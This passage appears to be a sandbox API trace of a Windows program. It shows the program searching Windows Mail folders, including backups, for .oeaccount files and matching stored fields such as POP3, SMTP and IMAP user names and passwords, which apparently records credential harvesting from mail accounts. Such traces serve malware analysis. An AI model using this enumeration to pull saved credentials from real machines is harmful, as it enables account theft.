param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="Account_Name") returned 1 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="POP3_Server") returned -1 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="IMAP_Server") returned 1 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="NNTP_Server") returned -1 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="SMTP_Server") returned -1 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="POP3_User_Name") returned -1 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="IMAP_User_Name") returned 1 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="NNTP_User_Name") returned -1 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="SMTP_User_Name") returned -1 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="POP3_Password2") returned -1 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="IMAP_Password2") returned 1 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="NNTP_Password2") returned -1 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="SMTP_Password2") returned -1 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="NNTP_Email_Address") returned -1 [0074.213] strcmp (_Str1="LDAP_Port", _Str2="SMTP_Email_Address") returned -1 [0074.213] _strcmpi (_Str1="LDAP_Port", _Str2="SMTP_Port") returned -1 [0074.214] _strcmpi (_Str1="LDAP_Port", _Str2="NNTP_Port") returned -1 [0074.214] _strcmpi (_Str1="LDAP_Port", _Str2="IMAP_Port") returned 1 [0074.214] _strcmpi (_Str1="LDAP_Port", _Str2="POP3_Port") returned -1 [0074.214] _strcmpi (_Str1="LDAP_Port", _Str2="SMTP_Secure_Connection") returned -1 [0074.214] _strcmpi (_Str1="LDAP_Port", _Str2="NNTP_Secure_Connection") returned -1 [0074.214] _strcmpi (_Str1="LDAP_Port", _Str2="IMAP_Secure_Connection") returned 1 [0074.214] _strcmpi (_Str1="LDAP_Port", _Str2="POP3_Secure_Connection") returned -1 [0074.214] strlen (_Str="type") returned 0x4 [0074.214] strlen (_Str="DWORD") returned 0x5 [0074.214] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="Account_Name") returned 1 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Server") returned -1 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Server") returned 1 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Server") returned -1 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Server") returned -1 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="POP3_User_Name") returned -1 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_User_Name") returned 1 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_User_Name") returned -1 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_User_Name") returned -1 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Password2") returned -1 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Password2") returned 1 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Password2") returned -1 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Password2") returned -1 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Email_Address") returned -1 [0074.214] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Email_Address") returned -1 [0074.214] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Port") returned -1 [0074.214] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Port") returned -1 [0074.214] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Port") returned 1 [0074.214] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Port") returned -1 [0074.214] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Secure_Connection") returned -1 [0074.214] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Secure_Connection") returned -1 [0074.214] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Secure_Connection") returned 1 [0074.214] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Secure_Connection") returned -1 [0074.214] strlen (_Str="type") returned 0x4 [0074.214] strlen (_Str="DWORD") returned 0x5 [0074.214] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.214] strcmp (_Str1="LDAP_Secure_Connection", _Str2="Account_Name") returned 1 [0074.214] strcmp (_Str1="LDAP_Secure_Connection", _Str2="POP3_Server") returned -1 [0074.214] strcmp (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Server") returned 1 [0074.214] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Server") returned -1 [0074.214] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Server") returned -1 [0074.214] strcmp (_Str1="LDAP_Secure_Connection", _Str2="POP3_User_Name") returned -1 [0074.214] strcmp (_Str1="LDAP_Secure_Connection", _Str2="IMAP_User_Name") returned 1 [0074.214] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_User_Name") returned -1 [0074.214] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_User_Name") returned -1 [0074.214] strcmp (_Str1="LDAP_Secure_Connection", _Str2="POP3_Password2") returned -1 [0074.214] strcmp (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Password2") returned 1 [0074.214] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Password2") returned -1 [0074.214] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Password2") returned -1 [0074.215] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Email_Address") returned -1 [0074.215] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Email_Address") returned -1 [0074.215] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Port") returned -1 [0074.215] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Port") returned -1 [0074.215] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Port") returned 1 [0074.215] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="POP3_Port") returned -1 [0074.215] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Secure_Connection") returned -1 [0074.215] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Secure_Connection") returned -1 [0074.215] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Secure_Connection") returned 1 [0074.215] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="POP3_Secure_Connection") returned -1 [0074.215] strlen (_Str="type") returned 0x4 [0074.215] strlen (_Str="SZ") returned 0x2 [0074.215] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="Account_Name") returned 1 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="POP3_Server") returned -1 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="IMAP_Server") returned 1 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_Server") returned -1 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_Server") returned -1 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="POP3_User_Name") returned -1 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="IMAP_User_Name") returned 1 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_User_Name") returned -1 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_User_Name") returned -1 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="POP3_Password2") returned -1 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="IMAP_Password2") returned 1 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_Password2") returned -1 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_Password2") returned -1 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_Email_Address") returned -1 [0074.215] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_Email_Address") returned -1 [0074.215] _strcmpi (_Str1="LDAP_User_Name", _Str2="SMTP_Port") returned -1 [0074.215] _strcmpi (_Str1="LDAP_User_Name", _Str2="NNTP_Port") returned -1 [0074.215] _strcmpi (_Str1="LDAP_User_Name", _Str2="IMAP_Port") returned 1 [0074.215] _strcmpi (_Str1="LDAP_User_Name", _Str2="POP3_Port") returned -1 [0074.215] _strcmpi (_Str1="LDAP_User_Name", _Str2="SMTP_Secure_Connection") returned -1 [0074.215] _strcmpi (_Str1="LDAP_User_Name", _Str2="NNTP_Secure_Connection") returned -1 [0074.215] _strcmpi (_Str1="LDAP_User_Name", _Str2="IMAP_Secure_Connection") returned 1 [0074.215] _strcmpi (_Str1="LDAP_User_Name", _Str2="POP3_Secure_Connection") returned -1 [0074.215] strlen (_Str="type") returned 0x4 [0074.215] strlen (_Str="SZ") returned 0x2 [0074.215] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.215] strcmp (_Str1="LDAP_Search_Base", _Str2="Account_Name") returned 1 [0074.215] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Server") returned -1 [0074.215] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Server") returned 1 [0074.215] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Server") returned -1 [0074.215] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Server") returned -1 [0074.215] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_User_Name") returned -1 [0074.215] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_User_Name") returned 1 [0074.215] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_User_Name") returned -1 [0074.215] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_User_Name") returned -1 [0074.215] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Password2") returned -1 [0074.216] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Password2") returned 1 [0074.216] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Password2") returned -1 [0074.216] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Password2") returned -1 [0074.216] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Email_Address") returned -1 [0074.216] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Email_Address") returned -1 [0074.216] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Port") returned -1 [0074.216] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Port") returned -1 [0074.216] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Port") returned 1 [0074.216] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Port") returned -1 [0074.216] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Secure_Connection") returned -1 [0074.216] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Secure_Connection") returned -1 [0074.216] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Secure_Connection") returned 1 [0074.216] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Secure_Connection") returned -1 [0074.216] CloseHandle (hObject=0x10c) returned 1 [0074.216] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ea88 | out: lpFindFileData=0x30ea88) returned 0 [0074.216] FindClose (in: hFindFile=0x7f72b0 | out: hFindFile=0x7f72b0) returned 1 [0074.216] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.216] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.216] strlen (_Str="*.*") returned 0x3 [0074.216] _mbscpy (in: param_1=0x30ee54, param_2=0x30f21c | out: param_1=0x30ee54) returned 0x30ee54 [0074.216] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.216] _mbscat (in: param_1=0x30ee54, param_2=0x414078 | out: param_1=0x30ee54) returned 0x30ee54 [0074.216] _mbscat (in: param_1=0x30ee54, param_2=0x4147c4 | out: param_1=0x30ee54) returned 0x30ee54 [0074.216] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\*.*", lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 0x7f72b0 [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.217] strlen (_Str=".") returned 0x1 [0074.217] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.217] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] strcmp (_Str1=".", _Str2="..") returned -1 [0074.217] strcmp (_Str1=".", _Str2=".") returned 0 [0074.217] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.217] strlen (_Str="..") returned 0x2 [0074.217] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.217] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] strcmp (_Str1="..", _Str2="..") returned 0 [0074.217] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.217] strlen (_Str="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 0x37 [0074.217] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.217] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.217] strlen (_Str="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 0x37 [0074.217] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.217] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.217] strlen (_Str="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 0x37 [0074.217] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.217] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.217] strlen (_Str="Backup") returned 0x6 [0074.217] _mbscpy (in: param_1=0x30f0d8, param_2=0x30f21c | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.217] _mbscat (in: param_1=0x30f0d8, param_2=0x414078 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] _mbscat (in: param_1=0x30f0d8, param_2=0x30efc4 | out: param_1=0x30f0d8) returned 0x30f0d8 [0074.217] strcmp (_Str1="Backup", _Str2="..") returned 1 [0074.217] strcmp (_Str1="Backup", _Str2=".") returned 1 [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d [0074.217] strlen (_Str="*.oeaccount") returned 0xb [0074.217] _mbscpy (in: param_1=0x30df0c, param_2=0x30e2d4 | out: param_1=0x30df0c) returned 0x30df0c [0074.217] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d [0074.217] _mbscat (in: param_1=0x30df0c, param_2=0x414078 | out: param_1=0x30df0c) returned 0x30df0c [0074.217] _mbscat (in: param_1=0x30df0c, param_2=0x4154e8 | out: param_1=0x30df0c) returned 0x30df0c [0074.217] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*.oeaccount", lpFindFileData=0x30e050 | out: lpFindFileData=0x30e050) returned 0xffffffff [0074.218] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d [0074.218] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d [0074.218] strlen (_Str="*.*") returned 0x3 [0074.218] _mbscpy (in: param_1=0x30e41c, param_2=0x30e7e4 | out: param_1=0x30e41c) returned 0x30e41c [0074.218] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d [0074.218] _mbscat (in: param_1=0x30e41c, param_2=0x414078 | out: param_1=0x30e41c) returned 0x30e41c [0074.218] _mbscat (in: param_1=0x30e41c, param_2=0x4147c4 | out: param_1=0x30e41c) returned 0x30e41c [0074.218] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*.*", lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 0x7fb1f8 [0074.218] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d [0074.218] strlen (_Str=".") returned 0x1 [0074.218] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.218] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d [0074.218] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.218] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.218] strcmp (_Str1=".", _Str2="..") returned -1 [0074.218] strcmp (_Str1=".", _Str2=".") returned 0 [0074.218] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.218] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d [0074.218] strlen (_Str="..") returned 0x2 [0074.218] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.218] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d [0074.218] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.218] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.218] strcmp (_Str1="..", _Str2="..") returned 0 [0074.218] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 1 [0074.218] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d [0074.218] strlen (_Str="old") returned 0x3 [0074.218] _mbscpy (in: param_1=0x30e6a0, param_2=0x30e7e4 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.218] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x3d [0074.218] _mbscat (in: param_1=0x30e6a0, param_2=0x414078 | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.218] _mbscat (in: param_1=0x30e6a0, param_2=0x30e58c | out: param_1=0x30e6a0) returned 0x30e6a0 [0074.218] strcmp (_Str1="old", _Str2="..") returned 1 [0074.218] strcmp (_Str1="old", _Str2=".") returned 1 [0074.218] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.218] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.218] strlen (_Str="*.oeaccount") returned 0xb [0074.219] _mbscpy (in: param_1=0x30d4d4, param_2=0x30d89c | out: param_1=0x30d4d4) returned 0x30d4d4 [0074.219] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.219] _mbscat (in: param_1=0x30d4d4, param_2=0x414078 | out: param_1=0x30d4d4) returned 0x30d4d4 [0074.219] _mbscat (in: param_1=0x30d4d4, param_2=0x4154e8 | out: param_1=0x30d4d4) returned 0x30d4d4 [0074.219] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*.oeaccount", lpFindFileData=0x30d618 | out: lpFindFileData=0x30d618) returned 0xffffffff [0074.219] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.219] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.219] strlen (_Str="*.*") returned 0x3 [0074.219] _mbscpy (in: param_1=0x30d9e4, param_2=0x30ddac | out: param_1=0x30d9e4) returned 0x30d9e4 [0074.219] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.219] _mbscat (in: param_1=0x30d9e4, param_2=0x414078 | out: param_1=0x30d9e4) returned 0x30d9e4 [0074.219] _mbscat (in: param_1=0x30d9e4, param_2=0x4147c4 | out: param_1=0x30d9e4) returned 0x30d9e4 [0074.219] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*.*", lpFindFileData=0x30db28 | out: lpFindFileData=0x30db28) returned 0x801678 [0074.219] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.219] strlen (_Str=".") returned 0x1 [0074.219] _mbscpy (in: param_1=0x30dc68, param_2=0x30ddac | out: param_1=0x30dc68) returned 0x30dc68 [0074.219] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.219] _mbscat (in: param_1=0x30dc68, param_2=0x414078 | out: param_1=0x30dc68) returned 0x30dc68 [0074.219] _mbscat (in: param_1=0x30dc68, param_2=0x30db54 | out: param_1=0x30dc68) returned 0x30dc68 [0074.219] strcmp (_Str1=".", _Str2="..") returned -1 [0074.219] strcmp (_Str1=".", _Str2=".") returned 0 [0074.219] FindNextFileA (in: hFindFile=0x801678, lpFindFileData=0x30db28 | out: lpFindFileData=0x30db28) returned 1 [0074.219] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.219] strlen (_Str="..") returned 0x2 [0074.219] _mbscpy (in: param_1=0x30dc68, param_2=0x30ddac | out: param_1=0x30dc68) returned 0x30dc68 [0074.219] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.219] _mbscat (in: param_1=0x30dc68, param_2=0x414078 | out: param_1=0x30dc68) returned 0x30dc68 [0074.219] _mbscat (in: param_1=0x30dc68, param_2=0x30db54 | out: param_1=0x30dc68) returned 0x30dc68 [0074.219] strcmp (_Str1="..", _Str2="..") returned 0 [0074.219] FindNextFileA (in: hFindFile=0x801678, lpFindFileData=0x30db28 | out: lpFindFileData=0x30db28) returned 1 [0074.219] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.219] strlen (_Str="edb00001.log") returned 0xc [0074.219] _mbscpy (in: param_1=0x30dc68, param_2=0x30ddac | out: param_1=0x30dc68) returned 0x30dc68 [0074.219] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.219] _mbscat (in: param_1=0x30dc68, param_2=0x414078 | out: param_1=0x30dc68) returned 0x30dc68 [0074.219] _mbscat (in: param_1=0x30dc68, param_2=0x30db54 | out: param_1=0x30dc68) returned 0x30dc68 [0074.219] FindNextFileA (in: hFindFile=0x801678, lpFindFileData=0x30db28 | out: lpFindFileData=0x30db28) returned 1 [0074.219] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.219] strlen (_Str="WindowsMail.MSMessageStore") returned 0x1a [0074.219] _mbscpy (in: param_1=0x30dc68, param_2=0x30ddac | out: param_1=0x30dc68) returned 0x30dc68 [0074.219] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.219] _mbscat (in: param_1=0x30dc68, param_2=0x414078 | out: param_1=0x30dc68) returned 0x30dc68 [0074.219] _mbscat (in: param_1=0x30dc68, param_2=0x30db54 | out: param_1=0x30dc68) returned 0x30dc68 [0074.219] FindNextFileA (in: hFindFile=0x801678, lpFindFileData=0x30db28 | out: lpFindFileData=0x30db28) returned 1 [0074.219] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.220] strlen (_Str="WindowsMail.pat") returned 0xf [0074.220] _mbscpy (in: param_1=0x30dc68, param_2=0x30ddac | out: param_1=0x30dc68) returned 0x30dc68 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x41 [0074.220] _mbscat (in: param_1=0x30dc68, param_2=0x414078 | out: param_1=0x30dc68) returned 0x30dc68 [0074.220] _mbscat (in: param_1=0x30dc68, param_2=0x30db54 | out: param_1=0x30dc68) returned 0x30dc68 [0074.220] FindNextFileA (in: hFindFile=0x801678, lpFindFileData=0x30db28 | out: lpFindFileData=0x30db28) returned 0 [0074.220] FindClose (in: hFindFile=0x801678 | out: hFindFile=0x801678) returned 1 [0074.220] FindNextFileA (in: hFindFile=0x7fb1f8, lpFindFileData=0x30e560 | out: lpFindFileData=0x30e560) returned 0 [0074.220] FindClose (in: hFindFile=0x7fb1f8 | out: hFindFile=0x7fb1f8) returned 1 [0074.220] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ef98 | out: lpFindFileData=0x30ef98) returned 1 [0074.220] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows 